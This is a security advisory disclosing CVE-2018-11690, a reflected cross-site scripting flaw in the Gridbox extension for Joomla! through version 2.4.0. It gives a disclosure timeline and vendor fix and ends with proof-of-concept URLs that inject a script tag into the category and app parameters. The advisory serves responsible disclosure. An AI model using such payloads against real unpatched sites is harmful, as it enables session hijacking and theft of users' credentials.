I. VULNERABILITY ------------------------- Gridbox extension for Joomla! <= 2.4.0 Reflected Cross Site Scripting (XSS) II. CVE REFERENCE ------------------------- CVE-2018-11690 III. VENDOR ------------------------- https://extensions.joomla.org/extension/gridbox/ IV. REFERENCES ------------------------- https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11690 https://vel.joomla.org/resolved/2155-gridbox-com-gridbox-multiple-vulnerabilities V. TIMELINE ------------------------- 02/04/2018 Vulnerability discovered 09/04/2018 Vendor contacted 23/04/2018 Vulnerability fixed VI. CREDIT ------------------------- Yavuz Atlas of Biznet Bilisim http://www.biznet.com.tr/biznet-guvenlik-duyurulari VII. DESCRIPTION ------------------------- Balbooa Gridbox extension version 2.4.0 and previous versions for Joomla! is vulnerable to cross-site scripting. A remote attacker could exploit this vulnerability via a crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials VIII. PROOF OF CONCEPT ------------------------- For category parameter: http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=aaa&category=<script>alert(1)</script> For app parameter: http://localhost:81/bg/Joomla_3.8.5-Stable-Full_Package/index.php?option=com_gridbox&view=pages&app=<script>alert(1)</script>&category=aaa
